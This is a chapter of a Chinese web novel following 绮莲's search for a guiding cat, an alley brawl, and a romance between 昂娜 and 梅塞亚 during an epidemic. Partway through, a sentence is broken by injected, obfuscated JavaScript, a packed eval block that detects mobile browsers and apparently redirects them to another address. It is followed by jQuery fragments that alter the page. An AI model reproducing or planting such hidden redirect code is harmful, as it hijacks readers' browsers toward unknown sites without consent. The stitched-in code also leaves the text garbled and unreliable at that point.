黑夜,圆月照亮小巷尽端。杂物堆。七八只流浪猫或坐或站或走动着。
一名男子缓步走来,在地上拖出长长的影子。他从腋下掏出一双手套,戴上手套,像即将进行手术的医生高举双手,对猫群虎视眈眈。
猫们紧张地盯着来人。
“是你吗?不是。是你?也不是。不是你?你也不是?是谁?到底是谁?”绮莲念念有词,卖力将所有猫都撸响了,然而没有哪只表现出想要将他带往某处的意思。他不信邪,又用上各种手法,一顿猛搓,小猫们惬意地呼噜着翻起肚皮,却仍旧没有哪只回应他的问路。
“没有吗?不可能!别装了!你们肯定知道!快带我去,我要找斑徒,你们肯定知道!啊啊啊啊啊——”他绝望地仰面躺倒在地。
一只黑猫优雅地缓步走来,踩上他胸口。
“哦哦哦?是你吗?是你?”绮莲激动地给它招呼一整套独家撸猫大法,小黑猫很快也呼噜起来。
然后蜷腿在他胸口蹲下,眯起眼夹着嗓子咪了几声。
“不走吗?你也不是?你也不是吗?你不是你咪咪什么??”他一边崩溃一边不放弃地继续撸猫。但很显然这里真的没有一只斑徒的猫。
男人走进小巷想要撒尿,边走边解裤子。走到巷子尽头,被躺平的男人和环绕他翻滚的猫群吓到尿意全无。
地上那名脸色阴沉的男人眼神如尖刀般锐利。两人对视良久,那男人缓缓从喉咙中发出一个音节:“滚。”
闯入者连连称是,手忙脚乱地系腰带,急速往外退。听见那猫精又说话:“站住。”
来人无比懊悔,心想就不该出来撒尿、不该光顾着吹牛喝这么多、根本不该赴约,以致于碰见这种妖异场面。想逃又不敢逃,生怕惹得妖怪不开心一口把他给吃了。
“有钱没有?”
那妖怪问。
“打、打劫?”人类不可置信地、可怜巴巴地问。还以为妖怪会提出些更奇怪的要求。
“什么?”绮莲抱着黑猫起身,不可思议,“就你哆哆嗦嗦的还打劫?”
那人双腿一软跪倒在地,飞快将身上所有现金都掏出来放到身前:“我有钱,我有钱,别杀我!”
绮莲这才听懂他的意思,不满道:“谁打劫?我只是想问你借点儿钱。我有急事要回京郊,没盘缠实在寸步难行。”
还以为“斑徒”真的无处不在,想支取部分资金应急,结果大约所在实在偏僻,竟找不到一只领路的猫。
他捡起那堆零钱,摇了摇头,看向那人,说:“不够啊。”
担忧的脸色在惨白月光下格外阴沉可怕。
那男人失控,大叫救命。
蓝斐里海边偏僻集镇,夜深了,整条街上只剩男子聚会的小摊还有几人。听见呼救,人群很快赶来,提着机枪与砍刀。
如果每个人都有这么点儿零钱,算算人头,倒是够买回京郊的车票了。
这群人显然不是什么守法良民,连声招呼也不打,瞄着他就开枪。
思路被打断,绮莲十分恼怒。
枪声、叫喊、咒骂。巷子里一阵乱响,而后是短暂寂静。脚步声。
骨壳撕毁了他的衣物,那群暴徒的穿衣风格太过花哨他不喜欢,绮莲赤身裸体走出小巷。
想了想还是回去扒下一条花裤衩套上,以免太过惹人注目登上新闻。他得低调行事。
不远处的摊主举着烩勺与他四目相对,目瞪口呆。
那也是一名修士,身形与他差不多,大约受经济之困趁夜摆摊挣些外快。
又或者只是一名普通摊主从二手市场买到了这样的衣物。修士服神堂隔几年就发一套,质量还不错,流进二手市场也是有的。
不重要。
总之,这套修士服绮莲穿起来还算合身。
那帮暴徒还有几辆摩托,也能应急。
摊主手艺不错,烤得一手好鱼。绮莲吃饱后准备上路。
虽然海鲜美味,但他讨厌蓝斐里,讨厌这个不知名的海边小镇。辛苦修了几天船攒的钱没有缝在内裤里,转眼就被偷了。手机被偷了,载着普卡来时的车被偷了,鞋也被偷了。就剩没把他人给偷走。
回不去了。
还听见不好的消息,垃圾山大火烧到了塞拉维。大河神堂也未能幸免于难。他在电视画面中看到了。
“……老太婆应该死了吧?”
摩托在山路上轰鸣而过。绮莲遥望逐渐变亮的北方天空,心灰意冷地想着赶回去也来不及了。前路遥远崎岖。一转念又下决心:“不行,不准死!不准死!啊啊啊啊啊——”拧油门猛然加速。
三十九日。
天还未亮,昂娜疲惫地回到住处,见梅塞亚四仰八叉躺在她床上呼呼大睡,心中顿觉十分不平衡。哀嚎着跳到她身上将她压醒,抱怨道:“太过分了。某些人明知女朋友在生死一线挣扎,竟然还能舒舒服服睡大觉。好伤心。”
梅塞亚睡眼惺忪,翻身将她抱个满怀,口齿不清地安慰:“傻瓜,又不是什么大事。”
“随时杀人的最高级烈性传染病,竟然说不是什么大事。”
“正备武装处的医疗队接管,不用天亮就能控制住局势。真的没什么事,小宝贝。”她毫不在意地说道。
昂娜泄气地承认:“我知道。我不就被赶回来了?”全院发布禁足令,治疗和消杀同步进行,兔尾院剩余的医护人员还在帮忙,碍手碍脚的行政人员通通被赶走了。
“乖,我在这里,你还怕什么?”她吻她,再吻她,轻笑着说,“放心,兔尾院的招牌砸不了。”
没有宣传词,但开业至今,流传在客户群体中的颂扬就是“在兔尾院没有寿终正寝以外的死亡”。
“我不是害怕。”昂娜更靠近她,“我只是觉得虚妄。兔尾院的医疗水平在陆上六国来说绝对是顶级,结果让我们一败涂地的传染病在你们眼里根本就不算事。”
梅塞亚睁眼打量沮丧的女友,亲她一下,问:“你是不是压力太大了?想这么多。”
昂娜皱起鼻子,使劲闻,问:“你喝酒了?”
“一点点。啤酒。”
“应酬吗?”
“……算吧。”她好笑地衡量。
“你这个工作还需要应酬?”昂娜表示不信。
“人情世故哪里都有。你不累吗?不需要放松一下吗?”她看一眼床头的时钟,吻她,笑说,“天亮之前,在他们处理好那些坏坏的微生物之前,我们还有时间,来做点坏坏的事情吧。”
“饶了我吧,我都两天没睡觉了,快死了。”昂娜逃跑,被拦腰抱回床上。“你睡你的。”梅塞亚呢喃着说,解她衣裙。细密的吻从金发美人脸颊下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308860|163694||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落直到小腹。阵阵酥麻令人无法抗拒,昂娜回应她的触碰。两人亲吻,纠缠。电话响。
常规流程。当然了,会被提及的亲密镜头一定会被打断。来电人是侦集中心的双胞胎哥哥皮埃尔,梅塞亚没好气地接起电话质问对方是不是故意的。
昂娜扫兴地翻着白眼推开她,自往浴室去洗漱。从三十五日监测到病人异常发热,到昨晚确认化验出丝状病毒,到今日病情大爆发,她实在是累坏了,需要舒舒服服洗个热水澡,美美睡上几个小时。□□其实可以省略。但不省略也行。
等她洗漱完毕回到卧室,却见梅塞亚在收拾行李。
她已经穿戴整齐。她穿着一套挺括的灰色套装,银色长发服帖地挽在脑后。
天已经亮了,窗帘被拉开,白光刺目。刺目的还有身穿深V性感蕾丝睡衣的金发女郎。
“我得出——”梅塞亚停下手里的动作,直愣愣地看向她,话说半截忘了话头。
“哇偶。”她说,“出、出差。”但这里好像有更要命的问题亟待解决。
昂娜很不满,直接问:“你要甩了我吗?”
她回过神,上前,离得很近反而不敢触碰。咳了一声让自己清醒一点,解释说蓝斐里出了一点状况,她得过去看一眼,很快就回来。
“真的吗?还回来吗?”
“当然了,可怜的小宝贝危机感这么强。”
“太黏人了吗?会被讨厌吗?”
叹息。“那我不走了。”
“真的吗?”
“那我带你一起去。”
“算了你走吧。”昂娜听见窗外有人按了两次喇叭,故作生气地推了她一把。梅塞亚很受用,笑得开怀。昂娜也笑,又忧心地问:“如果你去很久的话,死灵君又来了怎么办?”
梅塞亚再次吻她:“别担心,他一时半会儿出不来。”
昂娜说不上信或不信,只是说:“他实在烦人。我讨厌他。”
情真意切又像是谎言,梅塞亚无法分辨,因为喜欢她这么说。
走之前想起一件事,又问:“亲爱的,你想养猫吗?”
昂娜摇头:“我有叽叽喳喳要养呢,不方便养猫。”
“也是。”她嘀咕一句。先前用昂娜的电脑找电影看,在浏览记录里见到许多流浪猫救助中心的页面。或许只是误点了讨厌的广告。她想多解释一句,又觉得没必要,便住了口。
天气寒冷,梅塞亚没让她送出门。汽车驶离,她看见昂娜站在窗边逐渐远去,很有一种离家的悲伤。
三十三日。塞拉维。
大火烧了八天了,垮塌的大山仍被烈焰笼罩,但塞拉维已经没什么可烧的了。军警合力,终于成功挖出一道防火带,将火场隔离,开始着手清理塞拉维的遗骸,看看是不是还有幸存者。没人指望还能有幸存者,当然实际也没有。
大河神堂遗址,黑衣修士手持铁锹在灰烬残渣中不停挖掘,似乎在寻找什么。
不知从哪儿跑来一只三花小猫,蹲在残壁上歪着脑袋看他。绮莲直起身,也看着它。
小猫乖巧地喵了一声,跳到他身旁蹭他裤脚。
绮莲的手因脱力不停颤抖。他费劲拿出手绢将手擦干净,轻轻在小猫脑袋上摸了两把。小猫呼噜几声,转身要走,见他不动,回头又向他喵喵叫,似乎是要让他跟上。